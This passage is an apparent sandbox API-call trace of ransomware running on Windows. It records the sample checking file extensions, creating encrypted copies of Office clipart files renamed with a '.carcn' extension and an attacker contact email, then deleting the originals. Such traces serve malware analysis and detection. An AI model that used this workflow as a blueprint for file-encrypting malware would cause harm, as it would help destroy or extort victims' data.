(lpString1=".dbf", lpString2=".WMF") returned -1 [0268.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.715] lstrlenW (lpString=".1cd") returned 4 [0268.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.715] lstrlenW (lpString=".jpg") returned 4 [0268.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.716] lstrlenW (lpString=".doc") returned 4 [0268.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.716] lstrlenW (lpString=".docx") returned 5 [0268.716] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0268.716] lstrlenW (lpString=".pdf") returned 4 [0268.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.716] lstrlenW (lpString=".xls") returned 4 [0268.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.716] lstrlenW (lpString=".xlsx") returned 5 [0268.716] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0268.716] lstrlenW (lpString=".ppt") returned 4 [0268.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.716] lstrlenW (lpString=".zip") returned 4 [0268.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.716] lstrlenW (lpString=".rar") returned 4 [0268.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.717] lstrlenW (lpString=".bz2") returned 4 [0268.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.717] lstrlenW (lpString=".7z") returned 3 [0268.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.717] lstrlenW (lpString=".dbf") returned 4 [0268.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.717] lstrlenW (lpString=".1cd") returned 4 [0268.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0268.717] lstrlenW (lpString=".jpg") returned 4 [0268.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.717] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.717] lstrlenW (lpString="BS00145_.WMF") returned 12 [0268.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.718] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1712) returned 1 [0268.718] CloseHandle (hObject=0x550) returned 1 [0268.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0268.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.719] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.719] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0268.719] GetLastError () returned 0x0 [0268.719] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x6b0, lpOverlapped=0x0) returned 1 [0268.757] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6c0, lpOverlapped=0x0) returned 1 [0268.758] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0268.758] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0268.758] SetEndOfFile (hFile=0x524) returned 1 [0268.758] CloseHandle (hObject=0x524) returned 1 [0268.760] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.760] SetEndOfFile (hFile=0x550) returned 1 [0268.762] CloseHandle (hObject=0x550) returned 1 [0268.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0268.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.765] lstrlenW (lpString=".doc") returned 4 [0268.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.765] lstrlenW (lpString=".docx") returned 5 [0268.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.765] lstrlenW (lpString=".pdf") returned 4 [0268.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.765] lstrlenW (lpString=".xls") returned 4 [0268.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.765] lstrlenW (lpString=".xlsx") returned 5 [0268.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.765] lstrlenW (lpString=".ppt") returned 4 [0268.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.765] lstrlenW (lpString=".zip") returned 4 [0268.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.766] lstrlenW (lpString=".rar") returned 4 [0268.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString=".bz2") returned 4 [0268.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString=".7z") returned 3 [0268.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.766] lstrlenW (lpString=".dbf") returned 4 [0268.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.766] lstrlenW (lpString=".1cd") returned 4 [0268.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.766] lstrlenW (lpString=".jpg") returned 4 [0268.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.766] lstrlenW (lpString=".doc") returned 4 [0268.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString=".docx") returned 5 [0268.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.766] lstrlenW (lpString=".pdf") returned 4 [0268.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.766] lstrlenW (lpString=".xls") returned 4 [0268.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.766] lstrlenW (lpString=".xlsx") returned 5 [0268.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.766] lstrlenW (lpString=".ppt") returned 4 [0268.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.767] lstrlenW (lpString=".zip") returned 4 [0268.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.767] lstrlenW (lpString=".rar") returned 4 [0268.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.767] lstrlenW (lpString=".bz2") returned 4 [0268.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.767] lstrlenW (lpString=".7z") returned 3 [0268.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.767] lstrlenW (lpString=".dbf") returned 4 [0268.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.767] lstrlenW (lpString=".1cd") returned 4 [0268.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0268.767] lstrlenW (lpString=".jpg") returned 4 [0268.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.767] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.767] lstrlenW (lpString="BS00174_.WMF") returned 12 [0268.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.768] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8366) returned 1 [0268.768] CloseHandle (hObject=0x550) returned 1 [0268.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0268.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.769] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.769] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0268.769] GetLastError () returned 0x0 [0268.769] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x20ae, lpOverlapped=0x0) returned 1 [0269.233] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x20b0, lpOverlapped=0x0) returned 1 [0269.234] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.234] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0269.234] SetEndOfFile (hFile=0x524) returned 1 [0269.234] CloseHandle (hObject=0x524) returned 1 [0269.234] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.235] SetEndOfFile (hFile=0x550) returned 1 [0269.239] CloseHandle (hObject=0x550) returned 1 [0269.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0269.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.240] lstrlenW (lpString=".doc") returned 4 [0269.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".docx") returned 5 [0269.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.240] lstrlenW (lpString=".pdf") returned 4 [0269.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".xls") returned 4 [0269.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.240] lstrlenW (lpString=".xlsx") returned 5 [0269.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.241] lstrlenW (lpString=".ppt") returned 4 [0269.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.241] lstrlenW (lpString=".zip") returned 4 [0269.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.241] lstrlenW (lpString=".rar") returned 4 [0269.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".bz2") returned 4 [0269.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".7z") returned 3 [0269.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.241] lstrlenW (lpString=".dbf") returned 4 [0269.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.241] lstrlenW (lpString=".1cd") returned 4 [0269.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.242] lstrlenW (lpString=".jpg") returned 4 [0269.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.242] lstrlenW (lpString=".doc") returned 4 [0269.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString=".docx") returned 5 [0269.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.242] lstrlenW (lpString=".pdf") returned 4 [0269.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString=".xls") returned 4 [0269.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.242] lstrlenW (lpString=".xlsx") returned 5 [0269.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.242] lstrlenW (lpString=".ppt") returned 4 [0269.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.242] lstrlenW (lpString=".zip") returned 4 [0269.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.242] lstrlenW (lpString=".rar") returned 4 [0269.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString=".bz2") returned 4 [0269.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString=".7z") returned 3 [0269.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.243] lstrlenW (lpString=".dbf") returned 4 [0269.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.243] lstrlenW (lpString=".1cd") returned 4 [0269.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0269.243] lstrlenW (lpString=".jpg") returned 4 [0269.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.243] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0269.243] lstrlenW (lpString="BS00224_.WMF") returned 12 [0269.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.244] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1588) returned 1 [0269.244] CloseHandle (hObject=0x550) returned 1 [0269.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0269.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0269.245] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.245] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0269.246] GetLastError () returned 0x0 [0269.246] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x634, lpOverlapped=0x0) returned 1 [0269.781] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x640, lpOverlapped=0x0) returned 1 [0269.787] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.787] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0269.787] SetEndOfFile (hFile=0x524) returned 1 [0269.799] CloseHandle (hObject=0x524) returned 1 [0269.802] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.802] SetEndOfFile (hFile=0x550) returned 1 [0269.817] CloseHandle (hObject=0x550) returned 1 [0269.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0270.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.229] lstrlenW (lpString=".doc") returned 4 [0270.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.229] lstrlenW (lpString=".docx") returned 5 [0270.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.229] lstrlenW (lpString=".pdf") returned 4 [0270.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.229] lstrlenW (lpString=".xls") returned 4 [0270.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.229] lstrlenW (lpString=".xlsx") returned 5 [0270.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.230] lstrlenW (lpString=".ppt") returned 4 [0270.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.230] lstrlenW (lpString=".zip") returned 4 [0270.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.230] lstrlenW (lpString=".rar") returned 4 [0270.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString=".bz2") returned 4 [0270.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString=".7z") returned 3 [0270.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.230] lstrlenW (lpString=".dbf") returned 4 [0270.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.230] lstrlenW (lpString=".1cd") returned 4 [0270.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.230] lstrlenW 